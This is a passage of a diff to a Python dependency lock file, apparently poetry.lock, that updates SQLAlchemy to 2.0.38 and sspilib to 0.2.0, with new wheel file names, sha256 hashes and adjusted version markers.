"sha256:352b2770097f41bff6029b280c0e03b217c2dcaddc40726f8f53ed58d8a85da4"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:56d51ae825d20d604583f82c9527d285e9e6d14f9a5516463d9705dab20c3740"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-win32.whl", hash = "sha256:6e2622844551945db81c26a02f27d94145b561f9d4b0c39ce7bfd2fda5776dac"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-win_amd64.whl", hash = "sha256:ccaf1b0c90435b6e430f5dd30a5aede4764942a695552eb3a4ab74ed63c5b8d3"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:3b74570d99126992d4b0f91fb87c586a574a5872651185de8297c6f90055ae42"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6f77c4f042ad493cb8595e2f503c7a4fe44cd7bd59c7582fd6d78d7e7b8ec52c"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cd1591329333daf94467e699e11015d9c944f44c94d2091f4ac493ced0119449"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:74afabeeff415e35525bf7a4ecdab015f00e06456166a2eba7590e49f8db940e"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b9c01990d9015df2c6f818aa8f4297d42ee71c9502026bb074e713d496e26b67"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:66f63278db425838b3c2b1c596654b31939427016ba030e951b292e32b99553e"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-win32.whl", hash = "sha256:0b0f658414ee4e4b8cbcd4a9bb0fd743c5eeb81fc858ca517217a8013d282c96"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-win_amd64.whl", hash = "sha256:fa4b1af3e619b5b0b435e333f3967612db06351217c58bfb50cee5f003db2a5a"}, - {file = "SQLAlchemy-2.0.31-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:f43e93057cf52a227eda401251c72b6fbe4756f35fa6bfebb5d73b86881e59b0"}, - {file = "SQLAlchemy-2.0.31-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d337bf94052856d1b330d5fcad44582a30c532a2463776e1651bd3294ee7e58b"}, - {file = "SQLAlchemy-2.0.31-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c06fb43a51ccdff3b4006aafee9fcf15f63f23c580675f7734245ceb6b6a9e05"}, - {file = "SQLAlchemy-2.0.31-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:b6e22630e89f0e8c12332b2b4c282cb01cf4da0d26795b7eae16702a608e7ca1"}, - {file = "SQLAlchemy-2.0.31-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:79a40771363c5e9f3a77f0e28b3302801db08040928146e6808b5b7a40749c88"}, - {file = "SQLAlchemy-2.0.31-cp37-cp37m-win32.whl", hash = "sha256:501ff052229cb79dd4c49c402f6cb03b5a40ae4771efc8bb2bfac9f6c3d3508f"}, - {file = "SQLAlchemy-2.0.31-cp37-cp37m-win_amd64.whl", hash = "sha256:597fec37c382a5442ffd471f66ce12d07d91b281fd474289356b1a0041bdf31d"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:dc6d69f8829712a4fd799d2ac8d79bdeff651c2301b081fd5d3fe697bd5b4ab9"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:23b9fbb2f5dd9e630db70fbe47d963c7779e9c81830869bd7d137c2dc1ad05fb"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2a21c97efcbb9f255d5c12a96ae14da873233597dfd00a3a0c4ce5b3e5e79704"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:26a6a9837589c42b16693cf7bf836f5d42218f44d198f9343dd71d3164ceeeac"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:dc251477eae03c20fae8db9c1c23ea2ebc47331bcd73927cdcaecd02af98d3c3"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:2fd17e3bb8058359fa61248c52c7b09a97cf3c820e54207a50af529876451808"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-win32.whl", hash = "sha256:c76c81c52e1e08f12f4b6a07af2b96b9b15ea67ccdd40ae17019f1c373faa227"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-win_amd64.whl", hash = "sha256:4b600e9a212ed59355813becbcf282cfda5c93678e15c25a0ef896b354423238"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5b6cf796d9fcc9b37011d3f9936189b3c8074a02a4ed0c0fbbc126772c31a6d4"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:78fe11dbe37d92667c2c6e74379f75746dc947ee505555a0197cfba9a6d4f1a4"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2fc47dc6185a83c8100b37acda27658fe4dbd33b7d5e7324111f6521008ab4fe"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8a41514c1a779e2aa9a19f67aaadeb5cbddf0b2b508843fcd7bafdf4c6864005"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:afb6dde6c11ea4525318e279cd93c8734b795ac8bb5dda0eedd9ebaca7fa23f1"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:3f9faef422cfbb8fd53716cd14ba95e2ef655400235c3dfad1b5f467ba179c8c"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-win32.whl", hash = "sha256:fc6b14e8602f59c6ba893980bea96571dd0ed83d8ebb9c4479d9ed5425d562e9"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-win_amd64.whl", hash = "sha256:3cb8a66b167b033ec72c3812ffc8441d4e9f5f78f5e31e54dcd4c90a4ca5bebc"}, - {file = "SQLAlchemy-2.0.31-py3-none-any.whl", hash = "sha256:69f3e3c08867a8e4856e92d7afb618b95cdee18e0bc1647b77599722c9a28911"}, - {file = "SQLAlchemy-2.0.31.tar.gz", hash = "sha256:b607489dd4a54de56984a0c7656247504bd5523d9d0ba799aef59d4add009484"}, + {file = "SQLAlchemy-2.0.38-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:5e1d9e429028ce04f187a9f522818386c8b076723cdbe9345708384f49ebcec6"}, + {file = "SQLAlchemy-2.0.38-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b87a90f14c68c925817423b0424381f0e16d80fc9a1a1046ef202ab25b19a444"}, + {file = "SQLAlchemy-2.0.38-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:402c2316d95ed90d3d3c25ad0390afa52f4d2c56b348f212aa9c8d072a40eee5"}, + {file = "SQLAlchemy-2.0.38-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6493bc0eacdbb2c0f0d260d8988e943fee06089cd239bd7f3d0c45d1657a70e2"}, + {file = "SQLAlchemy-2.0.38-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0561832b04c6071bac3aad45b0d3bb6d2c4f46a8409f0a7a9c9fa6673b41bc03"}, + {file = "SQLAlchemy-2.0.38-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:49aa2cdd1e88adb1617c672a09bf4ebf2f05c9448c6dbeba096a3aeeb9d4d443"}, + {file = "SQLAlchemy-2.0.38-cp310-cp310-win32.whl", hash = "sha256:64aa8934200e222f72fcfd82ee71c0130a9c07d5725af6fe6e919017d095b297"}, + {file = "SQLAlchemy-2.0.38-cp310-cp310-win_amd64.whl", hash = "sha256:c57b8e0841f3fce7b703530ed70c7c36269c6d180ea2e02e36b34cb7288c50c7"}, + {file = "SQLAlchemy-2.0.38-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:bf89e0e4a30714b357f5d46b6f20e0099d38b30d45fa68ea48589faf5f12f62d"}, + {file = "SQLAlchemy-2.0.38-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:8455aa60da49cb112df62b4721bd8ad3654a3a02b9452c783e651637a1f21fa2"}, + {file = "SQLAlchemy-2.0.38-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f53c0d6a859b2db58332e0e6a921582a02c1677cc93d4cbb36fdf49709b327b2"}, + {file = "SQLAlchemy-2.0.38-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b3c4817dff8cef5697f5afe5fec6bc1783994d55a68391be24cb7d80d2dbc3a6"}, + {file = "SQLAlchemy-2.0.38-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c9cea5b756173bb86e2235f2f871b406a9b9d722417ae31e5391ccaef5348f2c"}, + {file = "SQLAlchemy-2.0.38-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:40e9cdbd18c1f84631312b64993f7d755d85a3930252f6276a77432a2b25a2f3"}, + {file = "SQLAlchemy-2.0.38-cp311-cp311-win32.whl", hash = "sha256:cb39ed598aaf102251483f3e4675c5dd6b289c8142210ef76ba24aae0a8f8aba"}, + {file = "SQLAlchemy-2.0.38-cp311-cp311-win_amd64.whl", hash = "sha256:f9d57f1b3061b3e21476b0ad5f0397b112b94ace21d1f439f2db472e568178ae"}, + {file = "SQLAlchemy-2.0.38-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:12d5b06a1f3aeccf295a5843c86835033797fea292c60e72b07bcb5d820e6dd3"}, + {file = "SQLAlchemy-2.0.38-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:e036549ad14f2b414c725349cce0772ea34a7ab008e9cd67f9084e4f371d1f32"}, + {file = "SQLAlchemy-2.0.38-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee3bee874cb1fadee2ff2b79fc9fc808aa638670f28b2145074538d4a6a5028e"}, + {file = "SQLAlchemy-2.0.38-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e185ea07a99ce8b8edfc788c586c538c4b1351007e614ceb708fd01b095ef33e"}, + {file = "SQLAlchemy-2.0.38-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b79ee64d01d05a5476d5cceb3c27b5535e6bb84ee0f872ba60d9a8cd4d0e6579"}, + {file = "SQLAlchemy-2.0.38-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:afd776cf1ebfc7f9aa42a09cf19feadb40a26366802d86c1fba080d8e5e74bdd"}, + {file = "SQLAlchemy-2.0.38-cp312-cp312-win32.whl", hash = "sha256:a5645cd45f56895cfe3ca3459aed9ff2d3f9aaa29ff7edf557fa7a23515a3725"}, + {file = "SQLAlchemy-2.0.38-cp312-cp312-win_amd64.whl", hash = "sha256:1052723e6cd95312f6a6eff9a279fd41bbae67633415373fdac3c430eca3425d"}, + {file = "SQLAlchemy-2.0.38-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ecef029b69843b82048c5b347d8e6049356aa24ed644006c9a9d7098c3bd3bfd"}, + {file = "SQLAlchemy-2.0.38-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9c8bcad7fc12f0cc5896d8e10fdf703c45bd487294a986903fe032c72201596b"}, + {file = "SQLAlchemy-2.0.38-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2a0ef3f98175d77180ffdc623d38e9f1736e8d86b6ba70bff182a7e68bed7727"}, + {file = "SQLAlchemy-2.0.38-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b0ac78898c50e2574e9f938d2e5caa8fe187d7a5b69b65faa1ea4648925b096"}, + {file = "SQLAlchemy-2.0.38-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:9eb4fa13c8c7a2404b6a8e3772c17a55b1ba18bc711e25e4d6c0c9f5f541b02a"}, + {file = "SQLAlchemy-2.0.38-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:5dba1cdb8f319084f5b00d41207b2079822aa8d6a4667c0f369fce85e34b0c86"}, + {file = "SQLAlchemy-2.0.38-cp313-cp313-win32.whl", hash = "sha256:eae27ad7580529a427cfdd52c87abb2dfb15ce2b7a3e0fc29fbb63e2ed6f8120"}, + {file = "SQLAlchemy-2.0.38-cp313-cp313-win_amd64.whl", hash = "sha256:b335a7c958bc945e10c522c069cd6e5804f4ff20f9a744dd38e748eb602cbbda"}, + {file = "SQLAlchemy-2.0.38-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:40310db77a55512a18827488e592965d3dec6a3f1e3d8af3f8243134029daca3"}, + {file = "SQLAlchemy-2.0.38-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d3043375dd5bbcb2282894cbb12e6c559654c67b5fffb462fda815a55bf93f7"}, + {file = "SQLAlchemy-2.0.38-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:70065dfabf023b155a9c2a18f573e47e6ca709b9e8619b2e04c54d5bcf193178"}, + {file = "SQLAlchemy-2.0.38-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:c058b84c3b24812c859300f3b5abf300daa34df20d4d4f42e9652a4d1c48c8a4"}, + {file = "SQLAlchemy-2.0.38-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:0398361acebb42975deb747a824b5188817d32b5c8f8aba767d51ad0cc7bb08d"}, + {file = "SQLAlchemy-2.0.38-cp37-cp37m-win32.whl", hash = "sha256:a2bc4e49e8329f3283d99840c136ff2cd1a29e49b5624a46a290f04dff48e079"}, + {file = "SQLAlchemy-2.0.38-cp37-cp37m-win_amd64.whl", hash = "sha256:9cd136184dd5f58892f24001cdce986f5d7e96059d004118d5410671579834a4"}, + {file = "SQLAlchemy-2.0.38-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:665255e7aae5f38237b3a6eae49d2358d83a59f39ac21036413fab5d1e810578"}, + {file = "SQLAlchemy-2.0.38-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:92f99f2623ff16bd4aaf786ccde759c1f676d39c7bf2855eb0b540e1ac4530c8"}, + {file = "SQLAlchemy-2.0.38-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa498d1392216fae47eaf10c593e06c34476ced9549657fca713d0d1ba5f7248"}, + {file = "SQLAlchemy-2.0.38-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a9afbc3909d0274d6ac8ec891e30210563b2c8bdd52ebbda14146354e7a69373"}, + {file = "SQLAlchemy-2.0.38-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:57dd41ba32430cbcc812041d4de8d2ca4651aeefad2626921ae2a23deb8cd6ff"}, + {file = "SQLAlchemy-2.0.38-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:3e35d5565b35b66905b79ca4ae85840a8d40d31e0b3e2990f2e7692071b179ca"}, + {file = "SQLAlchemy-2.0.38-cp38-cp38-win32.whl", hash = "sha256:f0d3de936b192980209d7b5149e3c98977c3810d401482d05fb6d668d53c1c63"}, + {file = "SQLAlchemy-2.0.38-cp38-cp38-win_amd64.whl", hash = "sha256:3868acb639c136d98107c9096303d2d8e5da2880f7706f9f8c06a7f961961149"}, + {file = "SQLAlchemy-2.0.38-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:07258341402a718f166618470cde0c34e4cec85a39767dce4e24f61ba5e667ea"}, + {file = "SQLAlchemy-2.0.38-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0a826f21848632add58bef4f755a33d45105d25656a0c849f2dc2df1c71f6f50"}, + {file = "SQLAlchemy-2.0.38-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:386b7d136919bb66ced64d2228b92d66140de5fefb3c7df6bd79069a269a7b06"}, + {file = "SQLAlchemy-2.0.38-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2f2951dc4b4f990a4b394d6b382accb33141d4d3bd3ef4e2b27287135d6bdd68"}, + {file = "SQLAlchemy-2.0.38-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:8bf312ed8ac096d674c6aa9131b249093c1b37c35db6a967daa4c84746bc1bc9"}, + {file = "SQLAlchemy-2.0.38-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:6db316d6e340f862ec059dc12e395d71f39746a20503b124edc255973977b728"}, + {file = "SQLAlchemy-2.0.38-cp39-cp39-win32.whl", hash = "sha256:c09a6ea87658695e527104cf857c70f79f14e9484605e205217aae0ec27b45fc"}, + {file = "SQLAlchemy-2.0.38-cp39-cp39-win_amd64.whl", hash = "sha256:12f5c9ed53334c3ce719155424dc5407aaa4f6cadeb09c5b627e06abb93933a1"}, + {file = "SQLAlchemy-2.0.38-py3-none-any.whl", hash = "sha256:63178c675d4c80def39f1febd625a6333f44c0ba269edd8a468b156394b27753"}, + {file = "sqlalchemy-2.0.38.tar.gz", hash = "sha256:e5a4d82bdb4bf1ac1285a68eab02d253ab73355d9f0fe725a97e1e0fa689decb"}, ] [package.dependencies] -greenlet = {version = "!=0.4.17", markers = "python_version < \"3.13\" and (platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")"} +greenlet = {version = "!=0.4.17", markers = "python_version < \"3.14\" and (platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")"} typing-extensions = ">=4.6.0" [package.extras] @@ -2149,7 +2185,7 @@ aioodbc = ["aioodbc", "greenlet (!=0.4.17)"] aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing_extensions (!=3.10.0.1)"] asyncio = ["greenlet (!=0.4.17)"] asyncmy = ["asyncmy (>=0.2.3,!=0.2.4,!=0.2.6)", "greenlet (!=0.4.17)"] -mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2,!=1.1.5)"] +mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2,!=1.1.5,!=1.1.10)"] mssql = ["pyodbc"] mssql-pymssql = ["pymssql"] mssql-pyodbc = ["pyodbc"] @@ -2170,41 +2206,49 @@ sqlcipher = ["sqlcipher3_binary"] [[package]] name = "sspilib" -version = "0.1.0" +version = "0.2.0" description = "SSPI API bindings for Python" optional = false python-versions = ">=3.8" +groups = ["main"] +markers = "sys_platform == \"win32\"" files = [ - {file = "sspilib-0.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:5e43f3e684e9d29c80324bd54f52dac65ac4b18d81a2dcd529dce3994369a14d"}, - {file = "sspilib-0.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1eb34eda5d362b6603707a55751f1eff81775709b821e51cb64d1d2fa2bb8b6e"}, - {file = "sspilib-0.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8ffe123f056f78cbe18aaed6b15f06e252020061c3387a72615abd46699a0b24"}, - {file = "sspilib-0.1.0-cp310-cp310-win32.whl", hash = "sha256:a4151072e28ec3b7d785beac9548a3d6a4549c431eb5487a5b8a1de028e9fef0"}, - {file = "sspilib-0.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:2a19696c7b96b6bbef2b2ddf35df5a92f09b268476a348390a2f0da18cf29510"}, - {file = "sspilib-0.1.0-cp310-cp310-win_arm64.whl", hash = "sha256:d2778e5e2881405b4d359a604e2802f5b7a7ed433ff62d6073d04c203af10eb1"}, - {file = "sspilib-0.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:09d7f72ad5e4bbf9a8f1acf0d5f0c3f9fbe500f44c4a45ac24a99ece84f5654f"}, - {file = "sspilib-0.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1e5705e11aaa030a61d2b0a2ce09d2b8a1962dd950e55adc7a3c87dd463c6878"}, - {file = "sspilib-0.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dced8213d311c56f5f38044716ebff5412cc156f19678659e8ffa9bb6a642bd7"}, - {file = "sspilib-0.1.0-cp311-cp311-win32.whl", hash = "sha256:d30d38d52dbd857732224e86ae3627d003cc510451083c69fa481fc7de88a7b6"}, - {file = "sspilib-0.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:61c9067168cce962f7fead42c28804c3a39a164b9a7b660200b8cfe31e3af071"}, - {file = "sspilib-0.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:b526b8e5a236553f5137b951b89a2f108f56138ad05f31fd0a51b10f80b6c3cc"}, - {file = "sspilib-0.1.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:3ff356d40cd34c900f94f1591eaabd458284042af611ebc1dbf609002066dba5"}, - {file = "sspilib-0.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:2b0fee3a52d0acef090f6c9b49953a8400fdc1c10aca7334319414a3038aa493"}, - {file = "sspilib-0.1.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ab52d190dad1d578ec40d1fb417a8571954f4e32f35442a14cb709f57d3acbc9"}, - {file = "sspilib-0.1.0-cp312-cp312-win32.whl", hash = "sha256:b3cf819094383ec883e9a63c11b81d622618c815c18a6c9d761d9a14d9f028d1"}, - {file = "sspilib-0.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:b83825a2c43ff84ddff72d09b098057efaabf3841d3c42888078e154cf8e9595"}, - {file = "sspilib-0.1.0-cp312-cp312-win_arm64.whl", hash = "sha256:9aa6ab4c3fc1057251cf1f3f199daf90b99599cdfafc9eade8fdf0c01526dec8"}, - {file = "sspilib-0.1.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:82bff5df178386027d0112458b6971bbd18c76eb9e7be53fd61dab33d7bf8417"}, - {file = "sspilib-0.1.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:18393a9e6e0447cb7f319d361b65e9a0eaa5484705f16787133ffc49ad364c28"}, - {file = "sspilib-0.1.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88a423fbca206ba0ca811dc995d8c3af045402b7d330f033e938b24f3a1d93fc"}, - {file = "sspilib-0.1.0-cp38-cp38-win32.whl", hash = "sha256:86bd936b1ef0aa63c6d9623ad08473e74ceb15f342f6e92cbade15ed9574cd33"}, - {file = "sspilib-0.1.0-cp38-cp38-win_amd64.whl", hash = "sha256:d4f688b94f0a64128444063e1d3d59152614175999222f6e2920681faea833f4"}, - {file = "sspilib-0.1.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2acef24e13e40d9dd8697eaae84ead9f417528ff741d087ec4eb4260518f4dc7"}, - {file = "sspilib-0.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4b625802d80144d856d5eb6e8f4412f186565758da4493c7ad1b88e3d6d353de"}, - {file = "sspilib-0.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c06ca1e34702bca1c750dcb5133b716f316b38dccb28d55a1a44d9842bc3f391"}, - {file = "sspilib-0.1.0-cp39-cp39-win32.whl", hash = "sha256:68496c9bd52b57a1b6d2e5529b43c30060249b8db901127b8343c4ad8cd93670"}, - {file = "sspilib-0.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:369727097f07a440099882580e284e137d9c27b7de354d63b65e327a454e7bee"}, - {file = "sspilib-0.1.0-cp39-cp39-win_arm64.whl", hash = "sha256:87d8268c0517149c51a53b3888961ebf66826bb3dbb82c4e5cf10108f5456104"}, - {file = "sspilib-0.1.0.tar.gz", hash = "sha256:58b5291553cf6220549c0f855e0e6973f4977375d8236ce47bb581efb3e9b1cf"}, + {file = "sspilib-0.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:34f566ba8b332c91594e21a71200de2d4ce55ca5a205541d4128ed23e3c98777"}, + {file = "sspilib-0.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5b11e4f030de5c5de0f29bcf41a6e87c9fd90cb3b0f64e446a6e1d1aef4d08f5"}, + {file = "sspilib-0.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e82f87d77a9da62ce1eac22f752511a99495840177714c772a9d27b75220f78"}, + {file = "sspilib-0.2.0-cp310-cp310-win32.whl", hash = "sha256:e436fa09bcf353a364a74b3ef6910d936fa8cd1493f136e517a9a7e11b319c57"}, + {file = "sspilib-0.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:850a17c98d2b8579b183ce37a8df97d050bc5b31ab13f5a6d9e39c9692fe3754"}, + {file = "sspilib-0.2.0-cp310-cp310-win_arm64.whl", hash = "sha256:a4d788a53b8db6d1caafba36887d5ac2087e6b6be6f01eb48f8afea6b646dbb5"}, + {file = "sspilib-0.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:e0943204c8ba732966fdc5b69e33cf61d8dc6b24e6ed875f32055d9d7e2f76cd"}, + {file = "sspilib-0.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d1cdfc5ec2f151f26e21aa50ccc7f9848c969d6f78264ae4f38347609f6722df"}, + {file = "sspilib-0.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a6c33495a3de1552120c4a99219ebdd70e3849717867b8cae3a6a2f98fef405"}, + {file = "sspilib-0.2.0-cp311-cp311-win32.whl", hash = "sha256:400d5922c2c2261009921157c4b43d868e84640ad86e4dc84c95b07e5cc38ac6"}, + {file = "sspilib-0.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:d3e7d19c16ba9189ef8687b591503db06cfb9c5eb32ab1ca3bb9ebc1a8a5f35c"}, + {file = "sspilib-0.2.0-cp311-cp311-win_arm64.whl", hash = "sha256:f65c52ead8ce95eb78a79306fe4269ee572ef3e4dcc108d250d5933da2455ecc"}, + {file = "sspilib-0.2.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:abac93a90335590b49ef1fc162b538576249c7f58aec0c7bcfb4b860513979b4"}, + {file = "sspilib-0.2.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1208720d8e431af674c5645cec365224d035f241444d5faa15dc74023ece1277"}, + {file = "sspilib-0.2.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e48dceb871ecf9cf83abdd0e6db5326e885e574f1897f6ae87d736ff558f4bfa"}, + {file = "sspilib-0.2.0-cp312-cp312-win32.whl", hash = "sha256:bdf9a4f424add02951e1f01f47441d2e69a9910471e99c2c88660bd8e184d7f8"}, + {file = "sspilib-0.2.0-cp312-cp312-win_amd64.whl", hash = "sha256:40a97ca83e503a175d1dc9461836994e47e8b9bcf56cab81a2c22e27f1993079"}, + {file = "sspilib-0.2.0-cp312-cp312-win_arm64.whl", hash = "sha256:8ffc09819a37005c66a580ff44f544775f9745d5ed1ceeb37df4e5ff128adf36"}, + {file = "sspilib-0.2.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:40ff410b64198cf1d704718754fc5fe7b9609e0c49bf85c970f64c6fc2786db4"}, + {file = "sspilib-0.2.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:02d8e0b6033de8ccf509ba44fdcda7e196cdedc0f8cf19eb22c5e4117187c82f"}, + {file = "sspilib-0.2.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ad7943fe14f8f6d72623ab6401991aa39a2b597bdb25e531741b37932402480f"}, + {file = "sspilib-0.2.0-cp313-cp313-win32.whl", hash = "sha256:b9044d6020aa88d512e7557694fe734a243801f9a6874e1c214451eebe493d92"}, + {file = "sspilib-0.2.0-cp313-cp313-win_amd64.whl", hash = "sha256:c39a698491f43618efca8776a40fb7201d08c415c507f899f0df5ada15abefaa"}, + {file = "sspilib-0.2.0-cp313-cp313-win_arm64.whl", hash = "sha256:863b7b214517b09367511c0ef931370f0386ed2c7c5613092bf9b106114c4a0e"}, + {file = "sspilib-0.2.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:a0ede7afba32f2b681196c0b8520617d99dc5d0691d04884d59b476e31b41286"}, + {file = "sspilib-0.2.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:bd95df50efb6586054963950c8fa91ef994fb73c5c022c6f85b16f702c5314da"}, + {file = 